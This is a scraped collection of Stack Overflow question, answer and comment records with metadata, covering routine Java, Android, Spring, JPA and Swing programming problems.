has body: My wadl(part) &lt;resources base="http://localhost:8080/rest-sample/cxf/"&gt; &lt;resource path="/employeeservice/"&gt; &lt;resource path="add/"&gt; &lt;method name="POST"&gt; &lt;request&gt; &lt;representation mediaType="application/xml" element="prefix1:Employee"/&gt; &lt;representation mediaType="application/json"/&gt; &lt;/request&gt; &lt;response&gt; &lt;representation mediaType="application/xml"/&gt; &lt;representation mediaType="application/json"/&gt; &lt;/response&gt; &lt;/method&gt; &lt;/resource&gt; bean class: @XmlType(name = "EmployeesType", namespace = "com.test.dto") @XmlRootElement(name = "Employees", namespace = "com.test.dto") public class Employees { @XmlElement(name = "employee", required = true) @XmlElementWrapper(name = "employees") public Collection&lt;Employee&gt; getEmployees() { return employees; } business class: @Path("/employeeservice/") @Produces({ MediaType.APPLICATION_XML, MediaType.APPLICATION_JSON}) @Consumes({ MediaType.APPLICATION_XML, MediaType.APPLICATION_JSON}) public class EmployeeServiceImpl implements EmployeeService { ... @POST @Path("/add/") @Consumes({ MediaType.APPLICATION_XML, MediaType.APPLICATION_JSON}) public Response add(Employee employee) { System.out.println("Adding :" + employee); employee.setId(index++); update(employee); return Response.status(Response.Status.OK).build(); } @PUT @Path("/update/") @Consumes({ MediaType.APPLICATION_XML, MediaType.APPLICATION_JSON}) public Response update(Employee employee) { EMPLOYEE_MAP.put(employee.getId(), employee); return Response.status(Response.Status.OK).build(); } Http Client: Accept: application/json Type: POST http://localhost:8080/rest-sample/cxf/employeeservice/add getting following error: 415 Unsupported Media Type Same error getting for PUT call. followed this link but no solution.
has title: web services 415 Unsupported Media Type
downvote count: 0
linked to: http://stackoverflow.com/q/5844394
favorite count: 0
tagged with: rest
type: UnansweredQuestion
tagged with: web-services

http://stackoverflow.com/q/22180294
has comment: http://stackoverflow.com/comment/33666812
score: 0
answer count: 2
tagged with: android-activity
has comment: http://stackoverflow.com/comment/33666249
has comment: http://stackoverflow.com/comment/33668784
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33667963
tagged with: android
has comment: http://stackoverflow.com/comment/33668213
has answer: http://stackoverflow.com/a/22180498
has answer: http://stackoverflow.com/a/22181697
has comment: http://stackoverflow.com/comment/33668656
has comment: http://stackoverflow.com/comment/33666360
tagged with: java
has title: OnPause return NullPointerException when screen is turned off
has body: I have a TextView correctly initialized in my Activity. I can use it in the code without any problems. In the onPause() method, I use myTextView.setText("");. It works fine if I press home button or I start a new Activity, but when I use the power button to power off the screen I get a NullPointerException thrown by the setText() line. I guess that my class members are reset to null by the power off event before onPause() is called. Which is the correct way to handle this case? Should I catch the broadcast SCREEN_OFF or is there something wrong in my code? My code is as simple as @Override protected void onPause(){ myTextView.setText(""); super.onPause(); } Logcat output 03-04 19:58:44.783: E/AndroidRuntime(6717): FATAL EXCEPTION: main 03-04 19:58:44.783: E/AndroidRuntime(6717): Process: com.myapp, PID: 6717 03-04 19:58:44.783: E/AndroidRuntime(6717): java.lang.RuntimeException: Unable to pause activity {com.myapp/com.myapp.MyActivity}: java.lang.NullPointerException 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2307) 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.app.ActivityThread.handleRelaunchActivity(ActivityThread.java:3758) 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.app.ActivityThread.access$900(ActivityThread.java:145) 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1212) 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.os.Handler.dispatchMessage(Handler.java:102) 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.os.Looper.loop(Looper.java:136) 03-04 19:58:44.783: E/AndroidRuntime(6717): at android.app.ActivityThread.main(ActivityThread.java:5081) 03-04 19:58:44.783: E/AndroidRuntime(6717): at java.lang.reflect.Method.invokeNative(Native Method) 03-04 19:58:44.783: E/AndroidRuntime(6717): at java.lang.reflect.Method.invoke(Method.java:515) 03-04 19:58:44.783: E/AndroidRuntime(6717): at com.android.i…
has comment: http://stackoverflow.com/comment/33669729
type: Question
has comment: http://stackoverflow.com/comment/33668042
has comment: http://stackoverflow.com/comment/33666242
has comment: http://stackoverflow.com/comment/33667037

http://stackoverflow.com/comment/33826789
score: 0
comment on: http://stackoverflow.com/a/22264791
type: AnswerComment
type: Comment
has text: OK. See [my answer](http://stackoverflow.com/questions/22263843/trying-to-implement-text-based-hangman-game-in-java/22269413#22269413) for a high density solution. As promised, the main loop is two lines (one line for the loop control, one to output the current guess status) :)

http://stackoverflow.com/comment/33704090
has text: @dberm22 You got lucky, because ArrayList's toString just happens to print the contents of the underlying array. You hardcoded the contents to be exactly the same, so you got a positive result.
comment on: http://stackoverflow.com/a/22201521
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22219290
has comment: http://stackoverflow.com/comment/33737181
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22229556
answer count: 1
has comment: http://stackoverflow.com/comment/33737099
has title: Multiple file upload with Spring 3
score: 0
tagged with: file-upload
has comment: http://stackoverflow.com/comment/33736602
linked to: http://stackoverflow.com/q/15726439
has body: I need to load an unknown number of files at once. I found an example, and it works for a known amount of files: markup: &lt;form method="POST" enctype="multipart/form-data"&gt; &lt;input name="files[0]" type="file" /&gt; &lt;input name="files[1]" type="file" /&gt; &lt;input type="submit" value="Send"/&gt; &lt;/form&gt; code: @RequestMapping(method = RequestMethod.POST) public String savePhoto(@ModelAttribute("album") Album album, BindingResult result, SessionStatus status, MultiPartFileUploadBean file) { List&lt;MultipartFile&gt; images = file.getFiles(); for (MultipartFile photo : images) { ... } return "redirect:/albums/"+album.getId(); } MultiPartFileUploadBean: public class MultiPartFileUploadBean { private List&lt;MultipartFile&gt; files; public void setFiles(List&lt;MultipartFile&gt; files) { this.files = files;} public List&lt;MultipartFile&gt; getFiles() { return files;} } Yes, it works, but I do not know how the user wants to upload a photo in the album. And I use: &lt;input name="files[]" type="file" multiple="multiple" /&gt; I'll get a error. Request processing failed; nested exception is java.lang.NumberFormatException: For input string: "" I was looking for how to use multiple = "multiple", but found none. I hope for your help.
type: UnansweredQuestion
tagged with: spring

http://stackoverflow.com/a/22240592
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22240313
has body: right click on the program and click run as administrator

http://stackoverflow.com/comment/33682123
type: QuestionComment
has text: @BrianVanover thanks! This helped a lot! How do I indicate the start point with my code though? I try to push the point 'S' onto the point stack but 'S' is only a char?
comment on: http://stackoverflow.com/q/22186290
score: 0
type: Comment

http://stackoverflow.com/comment/33762333
has text: it could be possible with undecorated modal JDialog
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22232575

http://stackoverflow.com/a/22316353
answers question: http://stackoverflow.com/q/22315300
score: 2
accepted answer of: http://stackoverflow.com/q/22315300
has body: Already you had SCJP 1.4, So you can go for OCPJP 7 Upgrade Certification 1Z0-805. I refer you to the following page, it will give you an idea about Upgrade certification. http://www.epractizelabs.com/oracle/java-certifications/what-is-ocpjp-7-upgrade.html
downvote count: 0
type: AcceptedAnswer
upvote count: 2
type: Answer

http://stackoverflow.com/a/22193661
score: 1
upvote count: 1
has body: Create a new method with the xpath as argument and with a try-catch block in which you call driver.findElement. Use this method instead of direct call to driver.findElement.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22193558

http://stackoverflow.com/q/22178334
favorite count: 0
answer count: 5
has answer: http://stackoverflow.com/a/22178370
has answer: http://stackoverflow.com/a/22178453
accepted answer: http://stackoverflow.com/a/22178370
has title: Error: Expecting ")" before end of parameters
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33662410
type: Question
possible better answer: http://stackoverflow.com/a/22178384
has answer: http://stackoverflow.com/a/22178395
has answer: http://stackoverflow.com/a/22178384
has body: So I'm trying to make a class called "Move" for a bigger assignment. In this class, there a 2 "Move" Constructors: one that takes in only a change in row and column (2 parameters) and calls the move "Move", and one that takes in a move name, a change in row, and a change in column (3 parameters). But when I try to compile my .java file it tells me that its expecting a ")" before the constructor is done defining what parameters it need. public class Move { private String moveName; private int rowDelta; private int colDelta; public Move(int rowDelta, int colDelta) { this("Move", rowDelta, colDelta); } public Move(String moveName; int rowDelta; int colDelta) { this.moveName = moveName; this.rowDelta = rowDelta; this.colDelta = colDelta; } public int getRowDelta() { return rowDelta; } public int getColDelta() { return colDelta; } public String toString() { return moveName; } } The errors it gives me are as follows: Move.java:11: error: ')' expected public Move(String moveName; int rowDelta; int colDelta) { ^ Move.java:11: error: ';' expected public Move(String moveName; int rowDelta; int colDelta) { ^ 2 errors
score: 0
upvote count: 1
has answer: http://stackoverflow.com/a/22178407
downvote count: 1

http://stackoverflow.com/comment/33802868
type: Comment
has text: (by using) Html only to help to display any of Image types in Swing JComponents, comfortable and easilly
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22255509

http://stackoverflow.com/a/22245614
upvote count: 2
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/22245455
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22245455
has body: In your source code or in package explorer or outline view, select one or more methods that are not yet implementing an interface, right-click and select "Refactor" --> "Extract interface"

asynchronous
tags question: http://stackoverflow.com/q/22202183
tags question: http://stackoverflow.com/q/22314321
tags question: http://stackoverflow.com/q/22321225
type: Tag
tags question: http://stackoverflow.com/q/22177722
tag name: asynchronous
tags question: http://stackoverflow.com/q/22180212
tags question: http://stackoverflow.com/q/22234924
tags question: http://stackoverflow.com/q/22183015
tags question: http://stackoverflow.com/q/22324992

http://stackoverflow.com/comment/33924057
type: QuestionComment
score: 2
has text: Cant understand this line cc=cc+nv11; , what is cc & nv11
comment on: http://stackoverflow.com/q/22323795
type: Comment

http://stackoverflow.com/q/22174586
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/22174743
upvote count: 1
possible better answer: http://stackoverflow.com/a/22174743
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22174858
score: 1
tagged with: java
has title: Should a java class x that extends class y, which implements interface z, also implement interface z
type: Question
has answer: http://stackoverflow.com/a/22174611
has body: I have an interface z. It is implemented by class y. I have another class x that inherits class y. Since y implements the contract specified by class z, x does the same, as it extends class y. Should it therefore also implement interface z?
downvote count: 0
tagged with: polymorphism
tagged with: inheritance
accepted answer: http://stackoverflow.com/a/22174611

http://stackoverflow.com/comment/33720520
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22210067
type: AnswerComment
has text: Can you please explain further , I have my jpanel in a frame

http://stackoverflow.com/a/22258921
has comment: http://stackoverflow.com/comment/33808119
has comment: http://stackoverflow.com/comment/33807930
has comment: http://stackoverflow.com/comment/33808021
type: Answer
has body: public void a(){ do_this(); if(1==1) return; do_that(); //do not load this } Just curious, why do you want to write such a code?
score: 3
accepted answer of: http://stackoverflow.com/q/22258899
upvote count: 3
has comment: http://stackoverflow.com/comment/33807996
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22258899
has comment: http://stackoverflow.com/comment/33807923

http://stackoverflow.com/comment/33710969
has text: @SatishMotwani You're welcome. However, if you're updating the list in a separate thread, you still have to code the synchronization, or the writer thread can be writing a list that's in an unknown state. And if you do the sync, then your single writing thread will block the others while it writes. You'd have to do all access in the single thread, or make deep copies for the writer. So, more complexity. Very likely overkill for a classroom exercise.
type: Comment
comment on: http://stackoverflow.com/a/22202207
score: 0
type: AnswerComment

http://stackoverflow.com/a/22178529
has body: Use container managed transaction if your transaction scope does not span across more service layer methods: ideally you should have one transaction (container-triggered commit) for one method. If this is not the case, a bean managed transaction should be more practical, letting the caller decide when commit or rollback.
answers question: http://stackoverflow.com/q/22178116
score: 0
type: Answer

http://stackoverflow.com/a/22197611
type: Answer
score: 2
downvote count: 0
has body: If you want to trancate a value e.g. 47.12345 -&gt; 47.1 47.56789 -&gt; 47.5 // &lt;- not 47.6! you can do it via floor double value = 47.123456; double result = Math.floor(value * 10.0) / 10.0; If you want to round a value e.g. 47.12345 -&gt; 47.1 47.56789 -&gt; 47.6 // &lt;- not 47.5! you can do it via round double value = 47.123456; double result = Math.round(value * 10.0) / 10.0;
answers question: http://stackoverflow.com/q/22197300
upvote count: 2

http://stackoverflow.com/q/22285273
has title: Java/Android: Unable to execute DX
tagged with: java
linked to: http://stackoverflow.com/q/8059719
score: 4
upvote count: 4
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33856423
answer count: 0
has body: I am new to Java programming and I currently develop my first android application. Everything was fine, I could start my app with some code. Then I tried to make the following tutorial for a nice navigation drawer: http://www.androidhive.info/2013/11/android-sliding-menu-using-navigation-drawer/ I was putting all the code in my project but now there are some errors: Error:Android Dex: [GFXSector] Unable to execute DX Error:Android Dex: [GFXSector] com.android.dex.DexException: Multiple dex files define Landroid/support/v13/app/FragmentCompat$FragmentCompatImpl; Error:Android Dex: [GFXSector] at com.android.dx.merge.DexMerger.readSortableTypes(DexMerger.java:594) Error:Android Dex: [GFXSector] at com.android.dx.merge.DexMerger.getSortedTypes(DexMerger.java:552) Error:Android Dex: [GFXSector] at com.android.dx.merge.DexMerger.mergeClassDefs(DexMerger.java:533) Error:Android Dex: [GFXSector] at com.android.dx.merge.DexMerger.mergeDexes(DexMerger.java:170) Error:Android Dex: [GFXSector] at com.android.dx.merge.DexMerger.merge(DexMerger.java:188) Error:Android Dex: [GFXSector] at com.android.dx.command.dexer.Main.mergeLibraryDexBuffers(Main.java:439) Error:Android Dex: [GFXSector] at com.android.dx.command.dexer.Main.runMonoDex(Main.java:287) Error:Android Dex: [GFXSector] at com.android.dx.command.dexer.Main.run(Main.java:230) Error:Android Dex: [GFXSector] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) Error:Android Dex: [GFXSector] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) Error:Android Dex: [GFXSector] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) Error:Android Dex: [GFXSector] at java.lang.reflect.Method.invoke(Method.java:606) Error:Android Dex: [GFXSector] at org.jetbrains.android.compiler.tools.AndroidDxRunner.runDex(AndroidDxRunner.java:161) Error:Android Dex: [GFXSector] at org.jetbrains.android.compiler.tools.AndroidDxRunner.main(AndroidDxRunner.java:294) Error:An…
has comment: http://stackoverflow.com/comment/33856339
type: Question

http://stackoverflow.com/q/22290941
tagged with: extends
tagged with: object
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22291020
has body: I'm asked to create a method called listOfWorkers in which i will create objects of each type of the 3 workers I have by reading the data from the file "workers.txt" and then store the objects into an ArrayList of type Worker and return it. I have managed to make the objects of each type of the 3 workers with by reading the data from the file, but now I don't know how to store them into an ArrayList. Any help guys? Class i'm coding in right now import java.util.*; import java.io.*; public class WorkerBenefits { public ArrayList&lt;Worker&gt; listOfWorkers() { try { File ifile = new File("worker.txt"); Scanner scan = new Scanner(ifile); while (scan.hasNextLine()) { String line = scan.nextLine(); StringTokenizer st = new StringTokenizer(line,","); String jobs = st.nextToken(); Jobs jobType = Jobs.valueOf(jobs); //Engineer Object type if (jobType == Jobs.ELECTRICAL_ENGINEER || jobType == Jobs.MECHANICAL_ENGINEER) { String name = st.nextToken(); String str1 = st.nextToken(); int social = Integer.parseInt(str1); String str2 = st.nextToken(); int years = Integer.parseInt(str2); String str3 = st.nextToken(); double weeklyBen = Double.parseDouble(str3); Engineer eng = new Engineer(name,social,years,jobType,weeklyBen); } //Admin. Person. Object type else if (jobType == Jobs.ADMINISTRATIVE_SECRETARY || jobType == Jobs.ADMINISTRATIVE_ASSISTANT) { String name = st.nextToken(); String str1 = st.nextToken(); int social = Integer.parseInt(str1); String str2 = st.nextToken(); int years = Integer.parseInt(str2); String str3 = st.nextToken(); double rate = Double.parseDouble(str3); String str4 = st.nextToken(); double hours = Double.parseDouble(str4); AdministrativePersonnel ap = new AdministrativePersonnel(name,social,years,jobType,rate,hours); } //Management Object type else if (jobType == Jobs.ENGINEERING_MANAGER || jobType == Jobs.ADMINISTRATIVE_MANAGER) { String name = st.nextToken(); String str1 = st.nextToken(); int social = Integer.parseInt(str1); String str2 = st.nextToken()…
type: Question
has answer: http://stackoverflow.com/a/22291002
possible better answer: http://stackoverflow.com/a/22291002
tagged with: arraylist
tagged with: abstract-class
score: 0
accepted answer: http://stackoverflow.com/a/22291020
answer count: 3
has answer: http://stackoverflow.com/a/22291025
has title: How do I store objects created into an ArrayList and return it?

http://stackoverflow.com/a/22242079
answers question: http://stackoverflow.com/q/22241812
score: 0
type: Answer
has body: I would use a String Tokenizer.But need more information and thought for full impl. This is your line : "Description (1.0,2.0) (2,7.6) (2.1,3.0)" First thing - can there be cases without parenthesis? Will there always be sets f 2,2,2 numbers ? Do you want to take care of errors at each number or just skip the line or skip processing if there is an error (like number of numbers does not match?). Now you need a data structure to hold numbers. You could make a class to hold each individual element in a seperate property if each number has a distinct meaning in the domain or have an array list or simple array if you want to treat them as a simple list of numbers. If a class one sample (incopmplete): class LineItem{ } Now to actually break up the string there are many ways to do it. Really depends on the quality of data and how you want to deal with possible errors One way is find the first opening parenthesis( take rest of string and parse out using a String Tokenizer. Something like: int i = str.indexOf("("); String s2 = str.substring(i); StringTokenizer st = new StringTokenizer(s2, "() ,";//parenthesis, comma and space ArrayList&lt;Double&gt; lineVals1 = new ArrayList&lt;Double&gt;(); ArrayList&lt;Double&gt; lineVals1 = new ArrayList&lt;Double&gt;(); int cnt = 0; while(st.hasMoreTokens()){ cnt++;//use this to keep count of how many numbers you got in line and raise error if need be String stemp = st.nextToken(); if(isNumeric(stemo)){ if(cnt % 2 == 1){ lineVals1.add(Double.parseDouble(stemp)); }else{ lineVals2.add(Double.parseDouble(stemp)); } }else{ /raise error if not numberic } } public static boolean isNumeric(String str) { NumberFormat formatter = NumberFormat.getInstance(); ParsePosition pos = new ParsePosition(0); formatter.parse(str, pos); return str.length() == pos.getIndex(); }

http://stackoverflow.com/comment/33776288
type: Comment
type: QuestionComment
has text: I tried this . But in their example they are using `pstmtFld.setAsciiStream(1, dataStream . . ` although they have three fields . This is an official website so i doubt that they have a typo http://developer.teradata.com/doc/connectivity/jdbc/reference/current/samp/T20208JD.java.txt
score: 0
comment on: http://stackoverflow.com/q/22239215

http://stackoverflow.com/comment/33742887
type: Comment
type: QuestionComment
has text: Is that `;` part of the value of `number`?
comment on: http://stackoverflow.com/q/22223242
score: 0

http://stackoverflow.com/comment/33821598
score: 0
has text: @Parag Thank you for the reply so should I convert the jpeg to a greyscale image first ?
comment on: http://stackoverflow.com/q/22265872
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22312482
score: 0
type: Answer
has body: You asked "...what would be the best method of implementing a 4x4 board game...". But it seems like you should not care about the implementation right now. It sounds like you should care about the interface. Define an interface that precisely mirrors what you want to would like to represent: interface Board { int getNumRows(); int getNumCols(); int getStackHeight(int r, int c); int getStackValue(int r, int c, int h); } As it was mentioned before, efficiency should hardly be an issue, and IF it becomes an issue, you'll probably be glad when you can change your implementation without affecting anything else in your game.
answers question: http://stackoverflow.com/q/22312133

http://stackoverflow.com/a/22205676
score: 3
has comment: http://stackoverflow.com/comment/33713523
downvote count: 0
has comment: http://stackoverflow.com/comment/33713691
has body: (Edit: camickr's answer is the real correct one) Java does have a repaint manager that makes sure only "dirty" regions of a component are repainted. More info here: http://www.oracle.com/technetwork/java/painting-140037.html#mgr However, whether the repaint manager can do its job right probably depends on your code (and might even be system dependent?). The best way to test this would be to extend a component and override its paintComponent() method so that it prints a message when the component is repainted. Add that component to the JPanel that is being covered, and look to see whether that component's paintComponent() method is being triggered.
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/22205251

http://stackoverflow.com/q/22173962
type: Question
answer count: 1
tagged with: jpa
score: 0
has body: I have an entity with a composite id and a collection of enumeration, but i am unable to set JPA annotations to configure that correctly. Here the SQL for the tables : create table `ReadWriteRight` ( `idProfil` bigint not null, `idState` bigint not null, `read` boolean, `write` boolean, primary key (`idProfil`, `idState`), constraint `FK_ReadWriteRight_Profil` foreign key(`idProfil`) REFERENCES `Profil`(`idProfil`), constraint `FK_ReadWriteRight_State` foreign key(`idState`) REFERENCES `State`(`idState`) ) engine=InnoDB default charset=utf8; create table `AssoReadRight_Form` ( `idProfil` bigint not null, `idState` bigint not null, `typeForm` varchar(50) not null, primary key (`idProfil`, `idState`, `typeForm`), constraint `FK_AssoReadRight_Form_Profil` foreign key(`idProfil`) REFERENCES `Profil`(`idProfil`), constraint `FK_AssoReadRight_Form_State` foreign key(`idState`) REFERENCES `State`(`idState`) ) engine=InnoDB default charset=utf8; create table `AssoWriteRight_Form` ( `idProfil` bigint not null, `idState` bigint` not null, `typeForm` varchar(50) not null, primary key (`idProfil`, `idState`, `typeForm`), constraint `FK_AssoWriteRight_Form_Profil` foreign key(`idProfil`) REFERENCES `Profil`(`idProfil`), constraint `FK_AssoWriteRight_Form_State` foreign key(`idState`) REFERENCES `State`(`idState`) ) engine=InnoDB default charset=utf8; And here the Java with JPA annotations : @Entity @Table(name = "ReadWriteRight") public class ReadWriteRight implements Serializable { private static final long serialVersionUID = 1L; public enum TypeForm { Form1, Form2; } @Embeddable public static final class ReadWriteRightId implements Serializable { private static final long serialVersionUID = 1L; @ManyToOne @JoinColumn(name = "idProfil", nullable = false) private Profil profil; @ManyToOne @JoinColumn(name = "idState", nullable = false) private State state; [...] } @EmbeddedId private ReadWriteRightId id; @Column(name = "read") private boolean read; @Column(name = "write") privat…
has title: How to manage collection of enumeration in an entity with a composite id?
has answer: http://stackoverflow.com/a/22173963
accepted answer: http://stackoverflow.com/a/22173963
type: AnsweredQuestion
tagged with: java
tagged with: hibernate

http://stackoverflow.com/a/22287936
answers question: http://stackoverflow.com/q/22287765
has body: You might try using EDT. I know that seems totally counter to what you are trying to do here, but you might have a double adjustment somewhere if it sees EST and tries to convert to EDT. The fact that daylight savings just hit today really points to the TimeZone issue.
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33860751

http://stackoverflow.com/comment/33679302
has text: Is LinkedList fifo ordered?
comment on: http://stackoverflow.com/a/22186956
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/35945756
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22220705
has body: Simply use the old way of converting the string in char array using toCharArray method of String and then simply iterating the array. Check in each iteration if the char is in the range of 65 to 90 [ ASCII value of A is 65 and Z is 90]. Increment for each true case.

http://stackoverflow.com/a/22321989
has body: You're confused. Adding an element at the end of a List is O(1) is both lists. The only exceptional case with ArrayList is when the capacity of the list has been reached, which forces ArrayList to instantiate a new array and copy all the elements from the old one to the new one. But this happens rarely because the capacity is multiplied by 1.5 every time it's done. Adding an element in the middle of the list is O(N) in both cases. The LinkedList must iterate (from the start of from the end) until it find the location where the new node must be inserted. The ArrayList must shift all the elements from the insertion index to the end.
type: Answer
answers question: http://stackoverflow.com/q/22321785
score: 0

http://stackoverflow.com/comment/129069614
type: Comment
comment on: http://stackoverflow.com/a/22290059
has text: The link is dead. Please update it or provide the relevant information directly here
score: 0
type: AnswerComment

http://stackoverflow.com/q/22230898
answer count: 1
has body: I would like to set the resolution of the photo taken in android as the resolution is too high on some phones. This is my current code: // start take photo activity Intent cameraIntent = new Intent( android.provider.MediaStore.ACTION_IMAGE_CAPTURE); cameraIntent.putExtra( android.provider.MediaStore.EXTRA_OUTPUT, Uri.fromFile(file)); startActivityForResult(cameraIntent, CAMERA_REQUEST); I have read about setting the camera parameters to the required size but where do I put this as I am just calling the intent? I don't need anything special with the camera apart from specifying the res. thanks
type: UnansweredQuestion
tagged with: android
has title: Android Camera Resolution with Intent
score: 0
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22231731
tagged with: camera

http://stackoverflow.com/a/22313310
answers question: http://stackoverflow.com/q/22313120
score: 14
has comment: http://stackoverflow.com/comment/33908448
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22313120
has comment: http://stackoverflow.com/comment/33906546
type: Answer
has comment: http://stackoverflow.com/comment/33906814
has comment: http://stackoverflow.com/comment/33908271
upvote count: 14
has comment: http://stackoverflow.com/comment/33906724
has comment: http://stackoverflow.com/comment/33906666
has body: What is new Runnable() {}? new Runnable() { public void run() { createAndShowGUI(); } }; This declares an anonymous class and instantiates a new instance of it. It is basically equivalent to this: class Creator implements Runnable { public void run() { createAndShowGUI(); } } new Creator(); Before Java 8 lambdas, an anonymous class is a way to do a kind of functional programming. Passing a Runnable to invokeLater is like passing a function that the EDT can execute later whenever it wants (by calling run on it). What does invokeLater do with the Runnable? Initially, all it does is create an event to wrap it (an InvocationEvent) and put it at the end of a queue. After queuing the event, invokeLater notifies the EDT (which wakes up if it was waiting). The EDT's own run method is an infinite loop that processes events. It looks something like this (very paraphrased): public void run() { while(true) { EventQueue eq = getEventQueue(); synchronized(eq) { while(eq.hasNextEvent()) { processOneEvent(eq.getNextEvent()); } try { eq.wait(); } catch(InterruptedException ie) {} } } } When the EDT gets to the new InvocationEvent, it calls run on the Runnable, which calls createAndShowGUI. So passing a Runnable to invokeLater or invokeAndWait lets you run any code you want on the EDT. How soon is run called? In most cases, immediately or almost immediately. The EDT is very responsive. The 'Later' part of 'invokeLater' is just a hint to us that: run is executed asynchronously. The thread that calls invokeLater may continue past the call before the event is processed. Other events may be processed first. Of course invokeAndWait exists as an alternative if a synchronous call to run is desired. (Though it should be noted that invokeAndWait may also cause other events to be processed if they were queued before the new InvocationEvent.) Asynchronous SwingUtilities.invokeLater(new Runnable() { public void run() { System.out.println("hello"); } }); System.out.println("world"); This may prin…
has comment: http://stackoverflow.com/comment/33907029

http://stackoverflow.com/comment/33931433
comment on: http://stackoverflow.com/q/22327727
type: Comment
type: QuestionComment
has text: The byte array isn't a fixed size. reader and writer doesn't have to be sequential...
score: 0

http://stackoverflow.com/a/22249173
answers question: http://stackoverflow.com/q/22248987
score: 0
has body: You can use the teamList so that you can you remove the team once selected. List&lt;String&gt; teamlist = new ArrayList&lt;String&gt;(); teamlist.add("Astonvilla"); teamlist.add("Realmadrid"); teamlist.add("Ajax"); teamlist.add("Barcelona"); teamlist.add("Manunited"); String [] result={"0","1","2"}; for(int i = 0; i &lt; 3; i++) { int chooseTeam = (int)(Math.random()*teamlist.size()); int chooseResult = (int)(Math.random()*result.length); System.out.println("Team is " + teamlist.get(chooseTeam) + " Result is " + result[chooseResult]); teamlist.remove(chooseTeam); } }
type: Answer

http://stackoverflow.com/comment/33859832
type: Comment
has text: he don't have a PlaneSeat array. so how comparable will work with PlaneSeat class. he has an array of Plane class with each Plane object having one PlaneSeat object. correct me if i m wrong
type: AnswerComment
comment on: http://stackoverflow.com/a/22287422
score: 0

http://stackoverflow.com/comment/33779022
score: 0
type: Comment
type: QuestionComment
has text: Can you comment some details more? e.g. what situation perhaps cause this error.
comment on: http://stackoverflow.com/q/22242717

http://stackoverflow.com/a/22310455
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/22310072
has body: Here is a simple fix to the for loops that is printing the board for (int[] row : board) { for (int col : row) { if(col==SnakesAndLadders.computerPos) System.out.printf("%4s", "&lt;" + SnakesAndLadders.computerPos + "&gt;"); else if(col==SnakesAndLadders.player1Pos) System.out.printf("%4s", "(" + SnakesAndLadders.player1Pos + ")"); else System.out.printf("%4d", col); } System.out.println(); }
accepted answer of: http://stackoverflow.com/q/22310072

http://stackoverflow.com/comment/33763327
type: AnswerComment
has text: Why? Are you sure the layout of the main content pane isn't the one with the BorderLayout?
type: Comment
comment on: http://stackoverflow.com/a/22234334
score: 0

http://stackoverflow.com/q/22223601
upvote count: 1
has answer: http://stackoverflow.com/a/22223963
has comment: http://stackoverflow.com/comment/33743357
has comment: http://stackoverflow.com/comment/33776744
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/33743338
score: -1
has title: Remove next line from Json
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22266152
tagged with: newline
favorite count: 0
has body: I have a JSON string with the following structure [ { "id": "77897", "locid": "44", "areaid": "1465", "name": "Nandilath Electronics", "address": "G B Road, Palakkad HO, Palakkad - 678001 &lt;-- --&gt;8129807901, 8129807902", "phone": "049122545926,9895942222", "website": "", "email": "", "latitude": "10.9344568", "longitude": "76.9503265999999", "image": "", "description": "" }, { I need to remove the newline from here and add a comma (,) there for the string to work properly. I tried many methods and failed so please help me.
has comment: http://stackoverflow.com/comment/33743392
has comment: http://stackoverflow.com/comment/33743202
has comment: http://stackoverflow.com/comment/33744849
type: UnansweredQuestion
downvote count: 2

http://stackoverflow.com/q/22201374
has comment: http://stackoverflow.com/comment/33703778
type: Question
has answer: http://stackoverflow.com/a/22201513
has comment: http://stackoverflow.com/comment/33703623
tagged with: palindrome
has body: having a slight issue with my program for class. the program should determine if the string the user inputs is a palindrome or not, the program itself can determine if a simple string like, "aba" is a palindrome but when the user inputs something such as, "one, two, three, two, one" it automatically declares it as not a palindrome. This program is in java, just wondering what i could change to allow the program to be able to read strings such as the second one. import java.util.*; class Palindrome { public static void main(String args[]) { String original, reverse=""; Scanner in = new Scanner(System.in); System.out.println("Enter a string to check if it is a palindrome"); original = in.nextLine(); int length = original.length(); for ( int i = length - 1 ; i &gt;= 0 ; i-- ) reverse = reverse + original.charAt(i); if (original.equals(reverse)) System.out.println("Yo! That is a palindrome."); else System.out.println("No! That is not a palindrome."); } } This is the code i'm working with at the moment.
has comment: http://stackoverflow.com/comment/33703829
has comment: http://stackoverflow.com/comment/33703476
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33794360
type: UnansweredQuestion
